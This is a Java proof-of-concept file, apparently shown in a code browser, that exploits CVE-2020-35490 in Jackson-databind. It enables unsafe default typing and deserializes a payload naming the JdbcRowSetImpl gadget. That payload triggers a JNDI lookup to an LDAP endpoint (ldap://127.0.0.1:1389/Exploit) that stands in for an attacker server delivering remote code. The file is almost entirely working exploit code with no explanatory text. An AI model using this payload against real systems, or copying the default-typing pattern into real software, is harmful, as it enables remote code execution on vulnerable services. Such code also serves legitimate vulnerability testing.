| 5 | import java.io.IOException; |
| 6 | |
| 7 | public class CVE_2020_35490 { |
| 8 | public static void main(String[] args) throws IOException { |
| 9 | ObjectMapper mapper = new ObjectMapper(); |
| 10 | mapper.enableDefaultTyping(); |
| 11 | String payload = "[\"com.nqadmin.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":\"true\"}]"; |
| 12 | |
| 13 | Object o = mapper.readValue(payload, Object.class); |
| 14 | mapper.writeValueAsString(o); |
| 15 | } |
| 16 | } |
nothing calls this directly
no outgoing calls
no test coverage detected